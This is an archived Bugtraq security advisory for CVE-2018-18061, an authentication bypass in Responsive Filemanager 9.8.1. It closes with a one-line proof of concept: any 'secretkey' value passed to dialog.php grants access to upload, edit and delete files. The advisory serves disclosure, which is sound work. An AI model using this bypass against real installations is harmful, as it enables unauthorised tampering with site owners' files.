bugtraq - Responsive Filemanager 9.8.1 Authentication Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CALQO-TSwkKF6dfMXgZEiHAUemUenfJbuZdsXgMScj0do35wK8w@mail.gmail.com>
Date: Tue, 9 Oct 2018 14:05:08 +0300
From: yavuz atlas <yavatlas@...il.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org,
  bugs@...uritytracker.com
Subject: Responsive Filemanager 9.8.1 Authentication Bypass

I. VULNERABILITY
-------------------------
Responsive Filemanager 9.8.1 Authentication Bypass

II. CVE REFERENCE
-------------------------
CVE-2018-18061

III. VENDOR
-------------------------
https://www.responsivefilemanager.com

IV. REFERENCES
-------------------------
https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-18061

V. CREDIT
-------------------------
Yavuz Atlas of Biznet Bilisim
http://www.biznet.com.tr/biznet-guvenlik-duyurulari

VI. DESCRIPTION
-------------------------
Responsive Filemanager version 9.8.1 allows remote attackers to bypass
authentication. The vulnerability allows attackers to access file
management interface which gives permission to updload, edit and
delete files.

VII. PROOF OF CONCEPT
-------------------------
http://localhost/filemanager/dialog.php is forbidden. But any value
with secretkey parameter bypass this restriction.

http://localhost/filemanager/dialog.php?secretkey=anything